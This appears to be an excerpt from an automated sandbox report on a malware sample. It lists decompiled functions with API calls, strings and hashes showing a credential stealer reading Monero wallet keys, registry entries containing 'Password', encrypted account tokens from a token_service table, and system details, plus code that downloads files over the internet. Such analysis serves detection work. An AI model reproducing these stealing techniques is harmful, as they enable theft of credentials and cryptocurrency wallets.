Part of subcall function 005799C0: CloseHandle.KERNEL32(000000FF), ref: 00579A9A

DeleteFileA.KERNEL32(00000000), ref: 005714EF

Strings

.keys, xrefs: 0057136B
SOFTWARE\monero-project\monero-core, xrefs: 00571335
wallet_path, xrefs: 00571330
\Monero\wallet.keys, xrefs: 0057138D

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: dd26acdc972753aea12cfdd725183a2fa816403c2f673d925c33aebd29c721b0
Instruction ID: 327e676c575f7ca731cfcc8d19c134e641bf2e26f59b754ad45dc2eb20c371ef
Opcode Fuzzy Hash: dd26acdc972753aea12cfdd725183a2fa816403c2f673d925c33aebd29c721b0
Instruction Fuzzy Hash: 445143B195011A5BDB15FB60DD9AFED773CBB90300F404199B60AB2081EE346B89CFA6

Function 00587500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00587542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0058757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00587603
RtlAllocateHeap.NTDLL(00000000), ref: 0058760A
wsprintfA.USER32 ref: 00587640

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Strings

Y, xrefs: 0058764D, 00587655, 0058761B, 00587623
:, xrefs: 0058755C
C, xrefs: 0058754C
\, xrefs: 00587560

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$Y
API String ID: 1544550907-2157273807
Opcode ID: c92fe39b50c704f3b00a516d3ae9064eae1dc971ab05f909b2cc2a21f6b0ec88
Instruction ID: 04a3f3e038480c67e0f33cf0f594d4b8bc03281985a4d5f4bd6cc90691d03a8b
Opcode Fuzzy Hash: c92fe39b50c704f3b00a516d3ae9064eae1dc971ab05f909b2cc2a21f6b0ec88
Instruction Fuzzy Hash: 284171B1D05248ABDB10EB94DC45FEEBBB8FB48704F104199F90977280D778AA44CBA5

Function 005775D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005772D0: memset.MSVCRT ref: 00577314
Part of subcall function 005772D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0057733A
Part of subcall function 005772D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005773B1
Part of subcall function 005772D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0057740D
Part of subcall function 005772D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00577452
Part of subcall function 005772D0: HeapFree.KERNEL32(00000000), ref: 00577459

lstrcat.KERNEL32(2FA27020,005917FC), ref: 00577606
lstrcat.KERNEL32(2FA27020,00000000), ref: 00577648
lstrcat.KERNEL32(2FA27020, : ), ref: 0057765A
lstrcat.KERNEL32(2FA27020,00000000), ref: 0057768F
lstrcat.KERNEL32(2FA27020,00591804), ref: 005776A0
lstrcat.KERNEL32(2FA27020,00000000), ref: 005776D3
lstrcat.KERNEL32(2FA27020,00591808), ref: 005776ED
task.LIBCPMTD ref: 005776FB

Strings

: , xrefs: 0057764E

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 43f85544515a68c7cdc92ad72f0cf4a855b8946a2686a948acdb6288d71a1a68
Instruction ID: 6fff8339c021b00e4f0a22caec0fbf0f2005a5412380f96e2a727d23e261f9d9
Opcode Fuzzy Hash: 43f85544515a68c7cdc92ad72f0cf4a855b8946a2686a948acdb6288d71a1a68
Instruction Fuzzy Hash: D23142B190010AEFCB05FBB4EC99EFE7B74BB88301B14C218F106A7251DA38A946DB55

Function 005772D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00577314
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0057733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005773B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0057740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00577452
HeapFree.KERNEL32(00000000), ref: 00577459
task.LIBCPMTD ref: 00577555

Strings

Password, xrefs: 00577401

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettask
String ID: Password
API String ID: 2808661185-3434357891
Opcode ID: dbc298dd44a89886c857424a0a5a0102774a544912439ce9e227c9c19e77e4a0
Instruction ID: 08141ef97e87609a9cae868ef6fee84d329a943f157581b68f1294c18375ae57
Opcode Fuzzy Hash: dbc298dd44a89886c857424a0a5a0102774a544912439ce9e227c9c19e77e4a0
Instruction Fuzzy Hash: 6F6119B590426D9BDB24DB50EC49FE9BBB8BF48300F00C1E9E64DA6141DB705AC9DFA0

Function 00588100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0130E418,00000000,?,00590E2C,00000000,?,00000000), ref: 00588130
RtlAllocateHeap.NTDLL(00000000), ref: 00588137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00588158
__aulldiv.LIBCMT ref: 00588172
__aulldiv.LIBCMT ref: 00588180
wsprintfA.USER32 ref: 005881AC

Strings

%d MB, xrefs: 005881A3
@, xrefs: 0058814D

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 732af3a6061097a966728344f02239863274557c2ef098fa6e20e634b9dbbf2f
Instruction ID: 883dca7daa5a555dee3e811b0822dfd506431a13c34a40acd60c163bb64c47c8
Opcode Fuzzy Hash: 732af3a6061097a966728344f02239863274557c2ef098fa6e20e634b9dbbf2f
Instruction Fuzzy Hash: D2211FB1E44219ABDB04EFD4CC49FAEBBB8FB44710F104619F615BB2C0D77859018BA5

Function 005760A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

Part of subcall function 005747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00574839
Part of subcall function 005747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00574849

InternetOpenA.WININET(00590DF7,00000001,00000000,00000000,00000000), ref: 0057610F
StrCmpCA.SHLWAPI(?,0130ED90), ref: 00576147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0057618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005761B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005761DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0057620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00576249
InternetCloseHandle.WININET(?), ref: 00576253
InternetCloseHandle.WININET(00000000), ref: 00576260

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c4808f1fa2de7436a1e2f2c5cfd3657a97b54e5a50122587a622f5626505ab26
Instruction ID: ff17c5b7ff2d573e905ce6022c3920bd844b7e79fb8e941d8ddee52a1920b899
Opcode Fuzzy Hash: c4808f1fa2de7436a1e2f2c5cfd3657a97b54e5a50122587a622f5626505ab26
Instruction Fuzzy Hash: C6515FB1900618AFDB20EF50DC49FEE7BB8FB44701F108198A609A71C1DB786A89DF95

Function 0057BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0058A740: lstrcpy.KERNEL32(00590E17,00000000), ref: 0058A788

Part of subcall function 0058A9B0: lstrlen.KERNEL32(?,013094C0,?,\Monero\wallet.keys,00590E17), ref: 0058A9C5
Part of subcall function 0058A9B0: lstrcpy.KERNEL32(00000000), ref: 0058AA04
Part of subcall function 0058A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0058AA12

Part of subcall function 0058A920: lstrcpy.KERNEL32(00000000,?), ref: 0058A972
Part of subcall function 0058A920: lstrcat.KERNEL32(00000000), ref: 0058A982

Part of subcall function 0058A8A0: lstrcpy.KERNEL32(?,00590E17), ref: 0058A905

Part of subcall function 0058A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0058A7E6

lstrlen.KERNEL32(00000000), ref: 0057BC9F

Part of subcall function 00588E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00588E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0057BCCD
lstrlen.KERNEL32(00000000), ref: 0057BDA5
lstrlen.KERNEL32(00000000), ref: 0057BDB9

Strings

AccountId, xrefs: 0057BCC4
AccountTokens, xrefs: 0057BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0057BBEB
AccountTokens, xrefs: 0057BABA

Memory Dump Source

Source File: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.1949733491.0000000000570000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.00000000005FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000062D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000065F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000715000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1949764070.000000000073B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950071501.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950277272.0000000000A5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950373572.0000000000BF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1950387854.0000000000BF2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: cab6901de4c0134661e8ebb966f8711ec2c3ac89b4b6b4ab98373f5668f087ea
Instruction ID: ac921fd6083044c7d78d9dff25abb324936b78e94544732b979d209ee41eb2c7
Opcode Fuzzy Hash: cab6901de4c0134661e8ebb966f8711ec2c3ac89b4b6b4ab98373f5668f087ea
Instruction Fuzzy Hash: E7B11271910115ABEB04FBA0DC9AEEE7B38BF94300F404559F906B6191EF386A49CF76

Function 00574FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00574FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00574FD1
InternetOpenA.WININET(00590DDF,00000000,00000000,00000000,00000000), ref: 00574FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00575011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00575041
InternetCloseHandle.WININET(?), ref: 005750B9
